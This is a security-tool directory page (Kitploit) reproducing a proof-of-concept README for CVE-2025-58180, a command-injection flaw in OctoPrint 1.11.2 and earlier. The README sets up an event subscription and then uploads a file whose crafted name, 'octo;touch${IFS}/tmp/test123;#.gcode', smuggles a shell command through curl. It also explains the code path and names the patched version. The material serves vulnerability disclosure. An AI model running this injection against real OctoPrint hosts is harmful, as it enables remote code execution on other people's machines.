Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-58180 — In OctoPrint version <=1.11.2, an attacker with file upload access (e.g., valid API key or session) can craft a malicious filename that bypasses sanitization and is later executed by OctoPrint’s event system, leading to remote code execution (RCE) on the host | Kitploit
Tools/GitHubGitHub/prabhatverma47/cve-2025-58180
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubprabhatverma47/cve-2025-58180

CVE-2025-58180

In OctoPrint version <=1.11.2, an attacker with file upload access (e.g., valid API key or session) can craft a malicious filename that bypasses sanitization and is later executed by OctoPrint’s event system, leading to remote code execution (RCE) on the host

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
1 year agoNot yet reviewed
Share

CVE-2025-58180 RCE in OctoPrint via Unsanitized Filename in File Upload

In OctoPrint version <=1.11.2, an attacker with file upload access (e.g., valid API key or session) can craft a malicious filename that bypasses sanitization and is later executed by OctoPrint’s event system, leading to remote code execution (RCE) on the host

PoC: Steps to Recreate Vulnerability

Step 1: Version Info

Downloaded latest stable release: OctoPrint 1.11.2

image

Step 2: Run OctoPrint

root@kitploit:~
octoprint serve --port 5000 --debug
  • Open http://127.0.0.1:5000 in browser.
  • Go through the initial wizard → create user with default settings (disabled: connectivity, anonymous, plugin).
  • Grab the API key from Settings → API → save for later. image

Stop the OctoPrint service once above steps are done.

Step 3: Configure Event Subscription

Following OctoPrint events documentation:

Edit ~/.octoprint/config.yaml:

root@kitploit:~
events:
  enabled: true
  subscriptions:
    - event: FileAdded
      type: system
      debug: true
      command: "{path}"
image

Step 4: Create Sample G-code

Create /tmp/gcode/ok.gcode:

root@kitploit:~
; minimal gcode
G28
M105

Restart OctoPrint service.

Step 5: Proof of Concept RCE

  1. Export API key:
root@kitploit:~
export API_KEY='<key previously gathered from webUI>'
  1. Verify file doesn’t exist:
root@kitploit:~
ls -la /tmp/test123
  1. Craft malicious filename payload:
    INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'

Explanation: ${IFS} is the shell’s Internal Field Separator (usually a space). It bypasses sanitization when injected.

  1. Send curl request:
root@kitploit:~
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
  -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
  "http://127.0.0.1:5000/api/files/local"
  1. Verify execution:
root@kitploit:~
ls -la /tmp/test123
image

If /tmp/test123 exists, the injected command executed successfully → RCE confirmed.

Explanation of Flow

root@kitploit:~
[User upload with crafted filename]
        │
        ▼
server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
        │
        ▼
events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
        │
        ▼
system command subscriber → subprocess.check_call(..., shell=True)
        │
        ▼
[Injected shell metacharacters execute as OS commands]

Summary

When a file is uploaded:

  1. OctoPrint accepts the filename (with limited sanitization).
  2. It triggers a FileAdded event.
  3. If system commands are subscribed to this event, the raw filename (including ;, ${IFS}, etc.) is passed into a shell.
  4. This allows injected commands inside the filename to execute on the host.

Result: Remote Code Execution (RCE) on the host system.

References

  • CVE Assigned:(CVE-2025-58180) GHSA-49mj-x8jp-qvfc
  • Patched version: 1.11.3
Download Tool